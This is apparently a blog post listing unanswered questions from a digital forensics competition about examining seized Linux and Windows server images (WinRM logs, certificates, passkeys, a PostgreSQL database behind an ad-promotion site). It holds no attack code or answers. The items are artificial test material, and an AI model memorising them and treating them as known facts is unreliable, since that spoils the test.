检材3&4.Linux服务器27. 昵称为 milo 的TG用户是在什么时间通过群管机器人认证?【参考格式:2026-00-00 00:00:00】

  • 题目 ID:检材3&4.Linux服务器27

这条笔记还没有正文。


检材5.windows服务器1. 分析服务器检材,系统分区的文件系统类型是?【参考格式:FAT32】

  • 题目 ID:检材5.windows服务器1

这条笔记还没有正文。


检材5.windows服务器2. 分析服务器检材,系统分区的文件系统版本是多少?(格式:1.23)

  • 题目 ID:检材5.windows服务器2

这条笔记还没有正文。


检材5.windows服务器3. 分析服务器检材,系统的SKU编号(OperatingSystemSKU)是什么?【参考格式:101】

  • 题目 ID:检材5.windows服务器3

这条笔记还没有正文。


检材5.windows服务器4. 服务器中的WinRM HTTP服务的端口是多少?(格式:65535)

  • 题目 ID:检材5.windows服务器4

这条笔记还没有正文。


检材5.windows服务器5. 最后一次通过WinRM远程访问的北京时间是(格式:1970-01-01 00:11:22)

  • 题目 ID:检材5.windows服务器5

这条笔记还没有正文。


检材5.windows服务器6. 服务器除了允许上一题登录记录的IP地址远程登录,还允许哪个IP地址远程管理(格式:1.2.3.4)

  • 题目 ID:检材5.windows服务器6

这条笔记还没有正文。


检材5.windows服务器7. 主机secrets目录中存放有一批密码文档,找到存在历史快照版本的文件,该文件历史版本中存放的密码是什么(格式:Abc123!@#)

  • 题目 ID:检材5.windows服务器7

这条笔记还没有正文。


检材5.windows服务器8. 嫌疑人称,服务器中曾安装有Linux虚拟机用于下载合同文件,其中存有一份加密的合同文件,找到这个文件,计算文件的MD5值。(格式:d41d8cd98f00b204e9800998ecf8427e)

  • 题目 ID:检材5.windows服务器8

这条笔记还没有正文。


检材5.windows服务器9. 管理后台页面的TLS证书的SHA1指纹是什么(格式:da39a3ee5e6b4b0d3255bfef95601890afd80709)

  • 题目 ID:检材5.windows服务器9

这条笔记还没有正文。


检材5.windows服务器10. 广告页面提供服务的网卡MAC地址是什么(格式:11:22:33:aa:bb:cc)

  • 题目 ID:检材5.windows服务器10

这条笔记还没有正文。


检材5.windows服务器11. 管理员在北京时间2026-05-01 12:23:21通过聊天工具向他人发送过一个验证码,计算管理员在这个时间登录管理后台需要使用的验证码是否与聊天记录中的验证码相同,这个时间的验证码是(格式:12345678)

  • 题目 ID:检材5.windows服务器11

这条笔记还没有正文。


检材5.windows服务器12. 从现场扣押的证书文件中寻找网站管理员登录后台使用的证书,正确的证书文件的SHA1哈希是什么(格式:da39a3ee5e6b4b0d3255bfef95601890afd80709)

  • 题目 ID:检材5.windows服务器12

这条笔记还没有正文。


检材5.windows服务器13. 使用证书文件登录推广管理网站后台,管理员登录后网站右上角的flag是什么。(格式:flag{abc_123_!@#})

  • 题目 ID:检材5.windows服务器13

这条笔记还没有正文。


检材5.windows服务器14. 现在需要从现场扣押的硬件密钥中寻找网站管理员登录后台使用的硬件密钥,网站管理员登录后台使用的硬件密钥中存储的凭据ID是什么。(格式:8914d73ee5522094906733031a76bb04e915e9e577ad92e0abe78428bd9dad9c8ac78412819373191547b199fbc0914d)

  • 题目 ID:检材5.windows服务器14

这条笔记还没有正文。


检材5.windows服务器15. 运行网站数据库的容器中,容器内部操作系统版本是(格式:25H2)

  • 题目 ID:检材5.windows服务器15

这条笔记还没有正文。


检材5.windows服务器16. 推广管理网站使用的PostgreSQL数据库版本是多少。(格式:16.1)

  • 题目 ID:检材5.windows服务器16

这条笔记还没有正文。


检材5.windows服务器17. 推广管理网站连接PostgreSQL数据库使用的密码是什么。(格式:Abc123$%^)

  • 题目 ID:检材5.windows服务器17

这条笔记还没有正文。


检材5.windows服务器18. 根据推广网站的推荐算法,在北京时间2026年5月1日 12:34:56时,上海的IP地址通过huajian026.chat-now.vip访问https://ficads.site/p/026的广告页面时,最有可能推荐的应用包名是什么。

  • 题目 ID:检材5.windows服务器18

这条笔记还没有正文。


检材5.windows服务器19. fic.traffic_counters记录了推广源、APK 和日期维度的访问计数。请找出全量visit流量中,累计访问量最高的host + package_name组合对应 APK 的apk_sha256字段值为:(格式:27AE41E4649B934CA495991B7852B855)

  • 题目 ID:检材5.windows服务器19

这条笔记还没有正文。


检材5.windows服务器20. 数据库中删除过一条创建时间为北京时间2026-05-13 10:30:00的admin用户的passkey信息,请恢复这条记录,credential_id字段的内容是什么?(格式:ASNFZ4mrze_-3LqYdlQyEA)

  • 题目 ID:检材5.windows服务器20

这条笔记还没有正文。

posted @ 2026-08-27 14:51  Cava1i  阅读(9)  评论(0)    收藏  举报